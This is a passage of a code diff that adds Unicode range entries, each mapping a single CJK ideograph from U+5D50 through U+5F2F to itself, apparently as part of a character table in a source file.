+ ["\u5D50", "\u5D50"], /* CJK Ideograph */
+ ["\u5D51", "\u5D51"], /* CJK Ideograph */
+ ["\u5D52", "\u5D52"], /* CJK Ideograph */
+ ["\u5D53", "\u5D53"], /* CJK Ideograph */
+ ["\u5D54", "\u5D54"], /* CJK Ideograph */
+ ["\u5D55", "\u5D55"], /* CJK Ideograph */
+ ["\u5D56", "\u5D56"], /* CJK Ideograph */
+ ["\u5D57", "\u5D57"], /* CJK Ideograph */
+ ["\u5D58", "\u5D58"], /* CJK Ideograph */
+ ["\u5D59", "\u5D59"], /* CJK Ideograph */
+ ["\u5D5A", "\u5D5A"], /* CJK Ideograph */
+ ["\u5D5B", "\u5D5B"], /* CJK Ideograph */
+ ["\u5D5C", "\u5D5C"], /* CJK Ideograph */
+ ["\u5D5D", "\u5D5D"], /* CJK Ideograph */
+ ["\u5D5E", "\u5D5E"], /* CJK Ideograph */
+ ["\u5D5F", "\u5D5F"], /* CJK Ideograph */
+ ["\u5D60", "\u5D60"], /* CJK Ideograph */
+ ["\u5D61", "\u5D61"], /* CJK Ideograph */
+ ["\u5D62", "\u5D62"], /* CJK Ideograph */
+ ["\u5D63", "\u5D63"], /* CJK Ideograph */
+ ["\u5D64", "\u5D64"], /* CJK Ideograph */
+ ["\u5D65", "\u5D65"], /* CJK Ideograph */
+ ["\u5D66", "\u5D66"], /* CJK Ideograph */
+ ["\u5D67", "\u5D67"], /* CJK Ideograph */
+ ["\u5D68", "\u5D68"], /* CJK Ideograph */
+ ["\u5D69", "\u5D69"], /* CJK Ideograph */
+ ["\u5D6A", "\u5D6A"], /* CJK Ideograph */
+ ["\u5D6B", "\u5D6B"], /* CJK Ideograph */
+ ["\u5D6C", "\u5D6C"], /* CJK Ideograph */
+ ["\u5D6D", "\u5D6D"], /* CJK Ideograph */
+ ["\u5D6E", "\u5D6E"], /* CJK Ideograph */
+ ["\u5D6F", "\u5D6F"], /* CJK Ideograph */
+ ["\u5D70", "\u5D70"], /* CJK Ideograph */
+ ["\u5D71", "\u5D71"], /* CJK Ideograph */
+ ["\u5D72", "\u5D72"], /* CJK Ideograph */
+ ["\u5D73", "\u5D73"], /* CJK Ideograph */
+ ["\u5D74", "\u5D74"], /* CJK Ideograph */
+ ["\u5D75", "\u5D75"], /* CJK Ideograph */
+ ["\u5D76", "\u5D76"], /* CJK Ideograph */
+ ["\u5D77", "\u5D77"], /* CJK Ideograph */
+ ["\u5D78", "\u5D78"], /* CJK Ideograph */
+ ["\u5D79", "\u5D79"], /* CJK Ideograph */
+ ["\u5D7A", "\u5D7A"], /* CJK Ideograph */
+ ["\u5D7B", "\u5D7B"], /* CJK Ideograph */
+ ["\u5D7C", "\u5D7C"], /* CJK Ideograph */
+ ["\u5D7D", "\u5D7D"], /* CJK Ideograph */
+ ["\u5D7E", "\u5D7E"], /* CJK Ideograph */
+ ["\u5D7F", "\u5D7F"], /* CJK Ideograph */
+ ["\u5D80", "\u5D80"], /* CJK Ideograph */
+ ["\u5D81", "\u5D81"], /* CJK Ideograph */
+ ["\u5D82", "\u5D82"], /* CJK Ideograph */
+ ["\u5D83", "\u5D83"], /* CJK Ideograph */
+ ["\u5D84", "\u5D84"], /* CJK Ideograph */
+ ["\u5D85", "\u5D85"], /* CJK Ideograph */
+ ["\u5D86", "\u5D86"], /* CJK Ideograph */
+ ["\u5D87", "\u5D87"], /* CJK Ideograph */
+ ["\u5D88", "\u5D88"], /* CJK Ideograph */
+ ["\u5D89", "\u5D89"], /* CJK Ideograph */
+ ["\u5D8A", "\u5D8A"], /* CJK Ideograph */
+ ["\u5D8B", "\u5D8B"], /* CJK Ideograph */
+ ["\u5D8C", "\u5D8C"], /* CJK Ideograph */
+ ["\u5D8D", "\u5D8D"], /* CJK Ideograph */
+ ["\u5D8E", "\u5D8E"], /* CJK Ideograph */
+ ["\u5D8F", "\u5D8F"], /* CJK Ideograph */
+ ["\u5D90", "\u5D90"], /* CJK Ideograph */
+ ["\u5D91", "\u5D91"], /* CJK Ideograph */
+ ["\u5D92", "\u5D92"], /* CJK Ideograph */
+ ["\u5D93", "\u5D93"], /* CJK Ideograph */
+ ["\u5D94", "\u5D94"], /* CJK Ideograph */
+ ["\u5D95", "\u5D95"], /* CJK Ideograph */
+ ["\u5D96", "\u5D96"], /* CJK Ideograph */
+ ["\u5D97", "\u5D97"], /* CJK Ideograph */
+ ["\u5D98", "\u5D98"], /* CJK Ideograph */
+ ["\u5D99", "\u5D99"], /* CJK Ideograph */
+ ["\u5D9A", "\u5D9A"], /* CJK Ideograph */
+ ["\u5D9B", "\u5D9B"], /* CJK Ideograph */
+ ["\u5D9C", "\u5D9C"], /* CJK Ideograph */
+ ["\u5D9D", "\u5D9D"], /* CJK Ideograph */
+ ["\u5D9E", "\u5D9E"], /* CJK Ideograph */
+ ["\u5D9F", "\u5D9F"], /* CJK Ideograph */
+ ["\u5DA0", "\u5DA0"], /* CJK Ideograph */
+ ["\u5DA1", "\u5DA1"], /* CJK Ideograph */
+ ["\u5DA2", "\u5DA2"], /* CJK Ideograph */
+ ["\u5DA3", "\u5DA3"], /* CJK Ideograph */
+ ["\u5DA4", "\u5DA4"], /* CJK Ideograph */
+ ["\u5DA5", "\u5DA5"], /* CJK Ideograph */
+ ["\u5DA6", "\u5DA6"], /* CJK Ideograph */
+ ["\u5DA7", "\u5DA7"], /* CJK Ideograph */
+ ["\u5DA8", "\u5DA8"], /* CJK Ideograph */
+ ["\u5DA9", "\u5DA9"], /* CJK Ideograph */
+ ["\u5DAA", "\u5DAA"], /* CJK Ideograph */
+ ["\u5DAB", "\u5DAB"], /* CJK Ideograph */
+ ["\u5DAC", "\u5DAC"], /* CJK Ideograph */
+ ["\u5DAD", "\u5DAD"], /* CJK Ideograph */
+ ["\u5DAE", "\u5DAE"], /* CJK Ideograph */
+ ["\u5DAF", "\u5DAF"], /* CJK Ideograph */
+ ["\u5DB0", "\u5DB0"], /* CJK Ideograph */
+ ["\u5DB1", "\u5DB1"], /* CJK Ideograph */
+ ["\u5DB2", "\u5DB2"], /* CJK Ideograph */
+ ["\u5DB3", "\u5DB3"], /* CJK Ideograph */
+ ["\u5DB4", "\u5DB4"], /* CJK Ideograph */
+ ["\u5DB5", "\u5DB5"], /* CJK Ideograph */
+ ["\u5DB6", "\u5DB6"], /* CJK Ideograph */
+ ["\u5DB7", "\u5DB7"], /* CJK Ideograph */
+ ["\u5DB8", "\u5DB8"], /* CJK Ideograph */
+ ["\u5DB9", "\u5DB9"], /* CJK Ideograph */
+ ["\u5DBA", "\u5DBA"], /* CJK Ideograph */
+ ["\u5DBB", "\u5DBB"], /* CJK Ideograph */
+ ["\u5DBC", "\u5DBC"], /* CJK Ideograph */
+ ["\u5DBD", "\u5DBD"], /* CJK Ideograph */
+ ["\u5DBE", "\u5DBE"], /* CJK Ideograph */
+ ["\u5DBF", "\u5DBF"], /* CJK Ideograph */
+ ["\u5DC0", "\u5DC0"], /* CJK Ideograph */
+ ["\u5DC1", "\u5DC1"], /* CJK Ideograph */
+ ["\u5DC2", "\u5DC2"], /* CJK Ideograph */
+ ["\u5DC3", "\u5DC3"], /* CJK Ideograph */
+ ["\u5DC4", "\u5DC4"], /* CJK Ideograph */
+ ["\u5DC5", "\u5DC5"], /* CJK Ideograph */
+ ["\u5DC6", "\u5DC6"], /* CJK Ideograph */
+ ["\u5DC7", "\u5DC7"], /* CJK Ideograph */
+ ["\u5DC8", "\u5DC8"], /* CJK Ideograph */
+ ["\u5DC9", "\u5DC9"], /* CJK Ideograph */
+ ["\u5DCA", "\u5DCA"], /* CJK Ideograph */
+ ["\u5DCB", "\u5DCB"], /* CJK Ideograph */
+ ["\u5DCC", "\u5DCC"], /* CJK Ideograph */
+ ["\u5DCD", "\u5DCD"], /* CJK Ideograph */
+ ["\u5DCE", "\u5DCE"], /* CJK Ideograph */
+ ["\u5DCF", "\u5DCF"], /* CJK Ideograph */
+ ["\u5DD0", "\u5DD0"], /* CJK Ideograph */
+ ["\u5DD1", "\u5DD1"], /* CJK Ideograph */
+ ["\u5DD2", "\u5DD2"], /* CJK Ideograph */
+ ["\u5DD3", "\u5DD3"], /* CJK Ideograph */
+ ["\u5DD4", "\u5DD4"], /* CJK Ideograph */
+ ["\u5DD5", "\u5DD5"], /* CJK Ideograph */
+ ["\u5DD6", "\u5DD6"], /* CJK Ideograph */
+ ["\u5DD7", "\u5DD7"], /* CJK Ideograph */
+ ["\u5DD8", "\u5DD8"], /* CJK Ideograph */
+ ["\u5DD9", "\u5DD9"], /* CJK Ideograph */
+ ["\u5DDA", "\u5DDA"], /* CJK Ideograph */
+ ["\u5DDB", "\u5DDB"], /* CJK Ideograph */
+ ["\u5DDC", "\u5DDC"], /* CJK Ideograph */
+ ["\u5DDD", "\u5DDD"], /* CJK Ideograph */
+ ["\u5DDE", "\u5DDE"], /* CJK Ideograph */
+ ["\u5DDF", "\u5DDF"], /* CJK Ideograph */
+ ["\u5DE0", "\u5DE0"], /* CJK Ideograph */
+ ["\u5DE1", "\u5DE1"], /* CJK Ideograph */
+ ["\u5DE2", "\u5DE2"], /* CJK Ideograph */
+ ["\u5DE3", "\u5DE3"], /* CJK Ideograph */
+ ["\u5DE4", "\u5DE4"], /* CJK Ideograph */
+ ["\u5DE5", "\u5DE5"], /* CJK Ideograph */
+ ["\u5DE6", "\u5DE6"], /* CJK Ideograph */
+ ["\u5DE7", "\u5DE7"], /* CJK Ideograph */
+ ["\u5DE8", "\u5DE8"], /* CJK Ideograph */
+ ["\u5DE9", "\u5DE9"], /* CJK Ideograph */
+ ["\u5DEA", "\u5DEA"], /* CJK Ideograph */
+ ["\u5DEB", "\u5DEB"], /* CJK Ideograph */
+ ["\u5DEC", "\u5DEC"], /* CJK Ideograph */
+ ["\u5DED", "\u5DED"], /* CJK Ideograph */
+ ["\u5DEE", "\u5DEE"], /* CJK Ideograph */
+ ["\u5DEF", "\u5DEF"], /* CJK Ideograph */
+ ["\u5DF0", "\u5DF0"], /* CJK Ideograph */
+ ["\u5DF1", "\u5DF1"], /* CJK Ideograph */
+ ["\u5DF2", "\u5DF2"], /* CJK Ideograph */
+ ["\u5DF3", "\u5DF3"], /* CJK Ideograph */
+ ["\u5DF4", "\u5DF4"], /* CJK Ideograph */
+ ["\u5DF5", "\u5DF5"], /* CJK Ideograph */
+ ["\u5DF6", "\u5DF6"], /* CJK Ideograph */
+ ["\u5DF7", "\u5DF7"], /* CJK Ideograph */
+ ["\u5DF8", "\u5DF8"], /* CJK Ideograph */
+ ["\u5DF9", "\u5DF9"], /* CJK Ideograph */
+ ["\u5DFA", "\u5DFA"], /* CJK Ideograph */
+ ["\u5DFB", "\u5DFB"], /* CJK Ideograph */
+ ["\u5DFC", "\u5DFC"], /* CJK Ideograph */
+ ["\u5DFD", "\u5DFD"], /* CJK Ideograph */
+ ["\u5DFE", "\u5DFE"], /* CJK Ideograph */
+ ["\u5DFF", "\u5DFF"], /* CJK Ideograph */
+ ["\u5E00", "\u5E00"], /* CJK Ideograph */
+ ["\u5E01", "\u5E01"], /* CJK Ideograph */
+ ["\u5E02", "\u5E02"], /* CJK Ideograph */
+ ["\u5E03", "\u5E03"], /* CJK Ideograph */
+ ["\u5E04", "\u5E04"], /* CJK Ideograph */
+ ["\u5E05", "\u5E05"], /* CJK Ideograph */
+ ["\u5E06", "\u5E06"], /* CJK Ideograph */
+ ["\u5E07", "\u5E07"], /* CJK Ideograph */
+ ["\u5E08", "\u5E08"], /* CJK Ideograph */
+ ["\u5E09", "\u5E09"], /* CJK Ideograph */
+ ["\u5E0A", "\u5E0A"], /* CJK Ideograph */
+ ["\u5E0B", "\u5E0B"], /* CJK Ideograph */
+ ["\u5E0C", "\u5E0C"], /* CJK Ideograph */
+ ["\u5E0D", "\u5E0D"], /* CJK Ideograph */
+ ["\u5E0E", "\u5E0E"], /* CJK Ideograph */
+ ["\u5E0F", "\u5E0F"], /* CJK Ideograph */
+ ["\u5E10", "\u5E10"], /* CJK Ideograph */
+ ["\u5E11", "\u5E11"], /* CJK Ideograph */
+ ["\u5E12", "\u5E12"], /* CJK Ideograph */
+ ["\u5E13", "\u5E13"], /* CJK Ideograph */
+ ["\u5E14", "\u5E14"], /* CJK Ideograph */
+ ["\u5E15", "\u5E15"], /* CJK Ideograph */
+ ["\u5E16", "\u5E16"], /* CJK Ideograph */
+ ["\u5E17", "\u5E17"], /* CJK Ideograph */
+ ["\u5E18", "\u5E18"], /* CJK Ideograph */
+ ["\u5E19", "\u5E19"], /* CJK Ideograph */
+ ["\u5E1A", "\u5E1A"], /* CJK Ideograph */
+ ["\u5E1B", "\u5E1B"], /* CJK Ideograph */
+ ["\u5E1C", "\u5E1C"], /* CJK Ideograph */
+ ["\u5E1D", "\u5E1D"], /* CJK Ideograph */
+ ["\u5E1E", "\u5E1E"], /* CJK Ideograph */
+ ["\u5E1F", "\u5E1F"], /* CJK Ideograph */
+ ["\u5E20", "\u5E20"], /* CJK Ideograph */
+ ["\u5E21", "\u5E21"], /* CJK Ideograph */
+ ["\u5E22", "\u5E22"], /* CJK Ideograph */
+ ["\u5E23", "\u5E23"], /* CJK Ideograph */
+ ["\u5E24", "\u5E24"], /* CJK Ideograph */
+ ["\u5E25", "\u5E25"], /* CJK Ideograph */
+ ["\u5E26", "\u5E26"], /* CJK Ideograph */
+ ["\u5E27", "\u5E27"], /* CJK Ideograph */
+ ["\u5E28", "\u5E28"], /* CJK Ideograph */
+ ["\u5E29", "\u5E29"], /* CJK Ideograph */
+ ["\u5E2A", "\u5E2A"], /* CJK Ideograph */
+ ["\u5E2B", "\u5E2B"], /* CJK Ideograph */
+ ["\u5E2C", "\u5E2C"], /* CJK Ideograph */
+ ["\u5E2D", "\u5E2D"], /* CJK Ideograph */
+ ["\u5E2E", "\u5E2E"], /* CJK Ideograph */
+ ["\u5E2F", "\u5E2F"], /* CJK Ideograph */
+ ["\u5E30", "\u5E30"], /* CJK Ideograph */
+ ["\u5E31", "\u5E31"], /* CJK Ideograph */
+ ["\u5E32", "\u5E32"], /* CJK Ideograph */
+ ["\u5E33", "\u5E33"], /* CJK Ideograph */
+ ["\u5E34", "\u5E34"], /* CJK Ideograph */
+ ["\u5E35", "\u5E35"], /* CJK Ideograph */
+ ["\u5E36", "\u5E36"], /* CJK Ideograph */
+ ["\u5E37", "\u5E37"], /* CJK Ideograph */
+ ["\u5E38", "\u5E38"], /* CJK Ideograph */
+ ["\u5E39", "\u5E39"], /* CJK Ideograph */
+ ["\u5E3A", "\u5E3A"], /* CJK Ideograph */
+ ["\u5E3B", "\u5E3B"], /* CJK Ideograph */
+ ["\u5E3C", "\u5E3C"], /* CJK Ideograph */
+ ["\u5E3D", "\u5E3D"], /* CJK Ideograph */
+ ["\u5E3E", "\u5E3E"], /* CJK Ideograph */
+ ["\u5E3F", "\u5E3F"], /* CJK Ideograph */
+ ["\u5E40", "\u5E40"], /* CJK Ideograph */
+ ["\u5E41", "\u5E41"], /* CJK Ideograph */
+ ["\u5E42", "\u5E42"], /* CJK Ideograph */
+ ["\u5E43", "\u5E43"], /* CJK Ideograph */
+ ["\u5E44", "\u5E44"], /* CJK Ideograph */
+ ["\u5E45", "\u5E45"], /* CJK Ideograph */
+ ["\u5E46", "\u5E46"], /* CJK Ideograph */
+ ["\u5E47", "\u5E47"], /* CJK Ideograph */
+ ["\u5E48", "\u5E48"], /* CJK Ideograph */
+ ["\u5E49", "\u5E49"], /* CJK Ideograph */
+ ["\u5E4A", "\u5E4A"], /* CJK Ideograph */
+ ["\u5E4B", "\u5E4B"], /* CJK Ideograph */
+ ["\u5E4C", "\u5E4C"], /* CJK Ideograph */
+ ["\u5E4D", "\u5E4D"], /* CJK Ideograph */
+ ["\u5E4E", "\u5E4E"], /* CJK Ideograph */
+ ["\u5E4F", "\u5E4F"], /* CJK Ideograph */
+ ["\u5E50", "\u5E50"], /* CJK Ideograph */
+ ["\u5E51", "\u5E51"], /* CJK Ideograph */
+ ["\u5E52", "\u5E52"], /* CJK Ideograph */
+ ["\u5E53", "\u5E53"], /* CJK Ideograph */
+ ["\u5E54", "\u5E54"], /* CJK Ideograph */
+ ["\u5E55", "\u5E55"], /* CJK Ideograph */
+ ["\u5E56", "\u5E56"], /* CJK Ideograph */
+ ["\u5E57", "\u5E57"], /* CJK Ideograph */
+ ["\u5E58", "\u5E58"], /* CJK Ideograph */
+ ["\u5E59", "\u5E59"], /* CJK Ideograph */
+ ["\u5E5A", "\u5E5A"], /* CJK Ideograph */
+ ["\u5E5B", "\u5E5B"], /* CJK Ideograph */
+ ["\u5E5C", "\u5E5C"], /* CJK Ideograph */
+ ["\u5E5D", "\u5E5D"], /* CJK Ideograph */
+ ["\u5E5E", "\u5E5E"], /* CJK Ideograph */
+ ["\u5E5F", "\u5E5F"], /* CJK Ideograph */
+ ["\u5E60", "\u5E60"], /* CJK Ideograph */
+ ["\u5E61", "\u5E61"], /* CJK Ideograph */
+ ["\u5E62", "\u5E62"], /* CJK Ideograph */
+ ["\u5E63", "\u5E63"], /* CJK Ideograph */
+ ["\u5E64", "\u5E64"], /* CJK Ideograph */
+ ["\u5E65", "\u5E65"], /* CJK Ideograph */
+ ["\u5E66", "\u5E66"], /* CJK Ideograph */
+ ["\u5E67", "\u5E67"], /* CJK Ideograph */
+ ["\u5E68", "\u5E68"], /* CJK Ideograph */
+ ["\u5E69", "\u5E69"], /* CJK Ideograph */
+ ["\u5E6A", "\u5E6A"], /* CJK Ideograph */
+ ["\u5E6B", "\u5E6B"], /* CJK Ideograph */
+ ["\u5E6C", "\u5E6C"], /* CJK Ideograph */
+ ["\u5E6D", "\u5E6D"], /* CJK Ideograph */
+ ["\u5E6E", "\u5E6E"], /* CJK Ideograph */
+ ["\u5E6F", "\u5E6F"], /* CJK Ideograph */
+ ["\u5E70", "\u5E70"], /* CJK Ideograph */
+ ["\u5E71", "\u5E71"], /* CJK Ideograph */
+ ["\u5E72", "\u5E72"], /* CJK Ideograph */
+ ["\u5E73", "\u5E73"], /* CJK Ideograph */
+ ["\u5E74", "\u5E74"], /* CJK Ideograph */
+ ["\u5E75", "\u5E75"], /* CJK Ideograph */
+ ["\u5E76", "\u5E76"], /* CJK Ideograph */
+ ["\u5E77", "\u5E77"], /* CJK Ideograph */
+ ["\u5E78", "\u5E78"], /* CJK Ideograph */
+ ["\u5E79", "\u5E79"], /* CJK Ideograph */
+ ["\u5E7A", "\u5E7A"], /* CJK Ideograph */
+ ["\u5E7B", "\u5E7B"], /* CJK Ideograph */
+ ["\u5E7C", "\u5E7C"], /* CJK Ideograph */
+ ["\u5E7D", "\u5E7D"], /* CJK Ideograph */
+ ["\u5E7E", "\u5E7E"], /* CJK Ideograph */
+ ["\u5E7F", "\u5E7F"], /* CJK Ideograph */
+ ["\u5E80", "\u5E80"], /* CJK Ideograph */
+ ["\u5E81", "\u5E81"], /* CJK Ideograph */
+ ["\u5E82", "\u5E82"], /* CJK Ideograph */
+ ["\u5E83", "\u5E83"], /* CJK Ideograph */
+ ["\u5E84", "\u5E84"], /* CJK Ideograph */
+ ["\u5E85", "\u5E85"], /* CJK Ideograph */
+ ["\u5E86", "\u5E86"], /* CJK Ideograph */
+ ["\u5E87", "\u5E87"], /* CJK Ideograph */
+ ["\u5E88", "\u5E88"], /* CJK Ideograph */
+ ["\u5E89", "\u5E89"], /* CJK Ideograph */
+ ["\u5E8A", "\u5E8A"], /* CJK Ideograph */
+ ["\u5E8B", "\u5E8B"], /* CJK Ideograph */
+ ["\u5E8C", "\u5E8C"], /* CJK Ideograph */
+ ["\u5E8D", "\u5E8D"], /* CJK Ideograph */
+ ["\u5E8E", "\u5E8E"], /* CJK Ideograph */
+ ["\u5E8F", "\u5E8F"], /* CJK Ideograph */
+ ["\u5E90", "\u5E90"], /* CJK Ideograph */
+ ["\u5E91", "\u5E91"], /* CJK Ideograph */
+ ["\u5E92", "\u5E92"], /* CJK Ideograph */
+ ["\u5E93", "\u5E93"], /* CJK Ideograph */
+ ["\u5E94", "\u5E94"], /* CJK Ideograph */
+ ["\u5E95", "\u5E95"], /* CJK Ideograph */
+ ["\u5E96", "\u5E96"], /* CJK Ideograph */
+ ["\u5E97", "\u5E97"], /* CJK Ideograph */
+ ["\u5E98", "\u5E98"], /* CJK Ideograph */
+ ["\u5E99", "\u5E99"], /* CJK Ideograph */
+ ["\u5E9A", "\u5E9A"], /* CJK Ideograph */
+ ["\u5E9B", "\u5E9B"], /* CJK Ideograph */
+ ["\u5E9C", "\u5E9C"], /* CJK Ideograph */
+ ["\u5E9D", "\u5E9D"], /* CJK Ideograph */
+ ["\u5E9E", "\u5E9E"], /* CJK Ideograph */
+ ["\u5E9F", "\u5E9F"], /* CJK Ideograph */
+ ["\u5EA0", "\u5EA0"], /* CJK Ideograph */
+ ["\u5EA1", "\u5EA1"], /* CJK Ideograph */
+ ["\u5EA2", "\u5EA2"], /* CJK Ideograph */
+ ["\u5EA3", "\u5EA3"], /* CJK Ideograph */
+ ["\u5EA4", "\u5EA4"], /* CJK Ideograph */
+ ["\u5EA5", "\u5EA5"], /* CJK Ideograph */
+ ["\u5EA6", "\u5EA6"], /* CJK Ideograph */
+ ["\u5EA7", "\u5EA7"], /* CJK Ideograph */
+ ["\u5EA8", "\u5EA8"], /* CJK Ideograph */
+ ["\u5EA9", "\u5EA9"], /* CJK Ideograph */
+ ["\u5EAA", "\u5EAA"], /* CJK Ideograph */
+ ["\u5EAB", "\u5EAB"], /* CJK Ideograph */
+ ["\u5EAC", "\u5EAC"], /* CJK Ideograph */
+ ["\u5EAD", "\u5EAD"], /* CJK Ideograph */
+ ["\u5EAE", "\u5EAE"], /* CJK Ideograph */
+ ["\u5EAF", "\u5EAF"], /* CJK Ideograph */
+ ["\u5EB0", "\u5EB0"], /* CJK Ideograph */
+ ["\u5EB1", "\u5EB1"], /* CJK Ideograph */
+ ["\u5EB2", "\u5EB2"], /* CJK Ideograph */
+ ["\u5EB3", "\u5EB3"], /* CJK Ideograph */
+ ["\u5EB4", "\u5EB4"], /* CJK Ideograph */
+ ["\u5EB5", "\u5EB5"], /* CJK Ideograph */
+ ["\u5EB6", "\u5EB6"], /* CJK Ideograph */
+ ["\u5EB7", "\u5EB7"], /* CJK Ideograph */
+ ["\u5EB8", "\u5EB8"], /* CJK Ideograph */
+ ["\u5EB9", "\u5EB9"], /* CJK Ideograph */
+ ["\u5EBA", "\u5EBA"], /* CJK Ideograph */
+ ["\u5EBB", "\u5EBB"], /* CJK Ideograph */
+ ["\u5EBC", "\u5EBC"], /* CJK Ideograph */
+ ["\u5EBD", "\u5EBD"], /* CJK Ideograph */
+ ["\u5EBE", "\u5EBE"], /* CJK Ideograph */
+ ["\u5EBF", "\u5EBF"], /* CJK Ideograph */
+ ["\u5EC0", "\u5EC0"], /* CJK Ideograph */
+ ["\u5EC1", "\u5EC1"], /* CJK Ideograph */
+ ["\u5EC2", "\u5EC2"], /* CJK Ideograph */
+ ["\u5EC3", "\u5EC3"], /* CJK Ideograph */
+ ["\u5EC4", "\u5EC4"], /* CJK Ideograph */
+ ["\u5EC5", "\u5EC5"], /* CJK Ideograph */
+ ["\u5EC6", "\u5EC6"], /* CJK Ideograph */
+ ["\u5EC7", "\u5EC7"], /* CJK Ideograph */
+ ["\u5EC8", "\u5EC8"], /* CJK Ideograph */
+ ["\u5EC9", "\u5EC9"], /* CJK Ideograph */
+ ["\u5ECA", "\u5ECA"], /* CJK Ideograph */
+ ["\u5ECB", "\u5ECB"], /* CJK Ideograph */
+ ["\u5ECC", "\u5ECC"], /* CJK Ideograph */
+ ["\u5ECD", "\u5ECD"], /* CJK Ideograph */
+ ["\u5ECE", "\u5ECE"], /* CJK Ideograph */
+ ["\u5ECF", "\u5ECF"], /* CJK Ideograph */
+ ["\u5ED0", "\u5ED0"], /* CJK Ideograph */
+ ["\u5ED1", "\u5ED1"], /* CJK Ideograph */
+ ["\u5ED2", "\u5ED2"], /* CJK Ideograph */
+ ["\u5ED3", "\u5ED3"], /* CJK Ideograph */
+ ["\u5ED4", "\u5ED4"], /* CJK Ideograph */
+ ["\u5ED5", "\u5ED5"], /* CJK Ideograph */
+ ["\u5ED6", "\u5ED6"], /* CJK Ideograph */
+ ["\u5ED7", "\u5ED7"], /* CJK Ideograph */
+ ["\u5ED8", "\u5ED8"], /* CJK Ideograph */
+ ["\u5ED9", "\u5ED9"], /* CJK Ideograph */
+ ["\u5EDA", "\u5EDA"], /* CJK Ideograph */
+ ["\u5EDB", "\u5EDB"], /* CJK Ideograph */
+ ["\u5EDC", "\u5EDC"], /* CJK Ideograph */
+ ["\u5EDD", "\u5EDD"], /* CJK Ideograph */
+ ["\u5EDE", "\u5EDE"], /* CJK Ideograph */
+ ["\u5EDF", "\u5EDF"], /* CJK Ideograph */
+ ["\u5EE0", "\u5EE0"], /* CJK Ideograph */
+ ["\u5EE1", "\u5EE1"], /* CJK Ideograph */
+ ["\u5EE2", "\u5EE2"], /* CJK Ideograph */
+ ["\u5EE3", "\u5EE3"], /* CJK Ideograph */
+ ["\u5EE4", "\u5EE4"], /* CJK Ideograph */
+ ["\u5EE5", "\u5EE5"], /* CJK Ideograph */
+ ["\u5EE6", "\u5EE6"], /* CJK Ideograph */
+ ["\u5EE7", "\u5EE7"], /* CJK Ideograph */
+ ["\u5EE8", "\u5EE8"], /* CJK Ideograph */
+ ["\u5EE9", "\u5EE9"], /* CJK Ideograph */
+ ["\u5EEA", "\u5EEA"], /* CJK Ideograph */
+ ["\u5EEB", "\u5EEB"], /* CJK Ideograph */
+ ["\u5EEC", "\u5EEC"], /* CJK Ideograph */
+ ["\u5EED", "\u5EED"], /* CJK Ideograph */
+ ["\u5EEE", "\u5EEE"], /* CJK Ideograph */
+ ["\u5EEF", "\u5EEF"], /* CJK Ideograph */
+ ["\u5EF0", "\u5EF0"], /* CJK Ideograph */
+ ["\u5EF1", "\u5EF1"], /* CJK Ideograph */
+ ["\u5EF2", "\u5EF2"], /* CJK Ideograph */
+ ["\u5EF3", "\u5EF3"], /* CJK Ideograph */
+ ["\u5EF4", "\u5EF4"], /* CJK Ideograph */
+ ["\u5EF5", "\u5EF5"], /* CJK Ideograph */
+ ["\u5EF6", "\u5EF6"], /* CJK Ideograph */
+ ["\u5EF7", "\u5EF7"], /* CJK Ideograph */
+ ["\u5EF8", "\u5EF8"], /* CJK Ideograph */
+ ["\u5EF9", "\u5EF9"], /* CJK Ideograph */
+ ["\u5EFA", "\u5EFA"], /* CJK Ideograph */
+ ["\u5EFB", "\u5EFB"], /* CJK Ideograph */
+ ["\u5EFC", "\u5EFC"], /* CJK Ideograph */
+ ["\u5EFD", "\u5EFD"], /* CJK Ideograph */
+ ["\u5EFE", "\u5EFE"], /* CJK Ideograph */
+ ["\u5EFF", "\u5EFF"], /* CJK Ideograph */
+ ["\u5F00", "\u5F00"], /* CJK Ideograph */
+ ["\u5F01", "\u5F01"], /* CJK Ideograph */
+ ["\u5F02", "\u5F02"], /* CJK Ideograph */
+ ["\u5F03", "\u5F03"], /* CJK Ideograph */
+ ["\u5F04", "\u5F04"], /* CJK Ideograph */
+ ["\u5F05", "\u5F05"], /* CJK Ideograph */
+ ["\u5F06", "\u5F06"], /* CJK Ideograph */
+ ["\u5F07", "\u5F07"], /* CJK Ideograph */
+ ["\u5F08", "\u5F08"], /* CJK Ideograph */
+ ["\u5F09", "\u5F09"], /* CJK Ideograph */
+ ["\u5F0A", "\u5F0A"], /* CJK Ideograph */
+ ["\u5F0B", "\u5F0B"], /* CJK Ideograph */
+ ["\u5F0C", "\u5F0C"], /* CJK Ideograph */
+ ["\u5F0D", "\u5F0D"], /* CJK Ideograph */
+ ["\u5F0E", "\u5F0E"], /* CJK Ideograph */
+ ["\u5F0F", "\u5F0F"], /* CJK Ideograph */
+ ["\u5F10", "\u5F10"], /* CJK Ideograph */
+ ["\u5F11", "\u5F11"], /* CJK Ideograph */
+ ["\u5F12", "\u5F12"], /* CJK Ideograph */
+ ["\u5F13", "\u5F13"], /* CJK Ideograph */
+ ["\u5F14", "\u5F14"], /* CJK Ideograph */
+ ["\u5F15", "\u5F15"], /* CJK Ideograph */
+ ["\u5F16", "\u5F16"], /* CJK Ideograph */
+ ["\u5F17", "\u5F17"], /* CJK Ideograph */
+ ["\u5F18", "\u5F18"], /* CJK Ideograph */
+ ["\u5F19", "\u5F19"], /* CJK Ideograph */
+ ["\u5F1A", "\u5F1A"], /* CJK Ideograph */
+ ["\u5F1B", "\u5F1B"], /* CJK Ideograph */
+ ["\u5F1C", "\u5F1C"], /* CJK Ideograph */
+ ["\u5F1D", "\u5F1D"], /* CJK Ideograph */
+ ["\u5F1E", "\u5F1E"], /* CJK Ideograph */
+ ["\u5F1F", "\u5F1F"], /* CJK Ideograph */
+ ["\u5F20", "\u5F20"], /* CJK Ideograph */
+ ["\u5F21", "\u5F21"], /* CJK Ideograph */
+ ["\u5F22", "\u5F22"], /* CJK Ideograph */
+ ["\u5F23", "\u5F23"], /* CJK Ideograph */
+ ["\u5F24", "\u5F24"], /* CJK Ideograph */
+ ["\u5F25", "\u5F25"], /* CJK Ideograph */
+ ["\u5F26", "\u5F26"], /* CJK Ideograph */
+ ["\u5F27", "\u5F27"], /* CJK Ideograph */
+ ["\u5F28", "\u5F28"], /* CJK Ideograph */
+ ["\u5F29", "\u5F29"], /* CJK Ideograph */
+ ["\u5F2A", "\u5F2A"], /* CJK Ideograph */
+ ["\u5F2B", "\u5F2B"], /* CJK Ideograph */
+ ["\u5F2C", "\u5F2C"], /* CJK Ideograph */
+ ["\u5F2D", "\u5F2D"], /* CJK Ideograph */
+ ["\u5F2E", "\u5F2E"], /* CJK Ideograph */
+ ["\u5F2F", "\u5F2F"], /* CJK Ideograph */
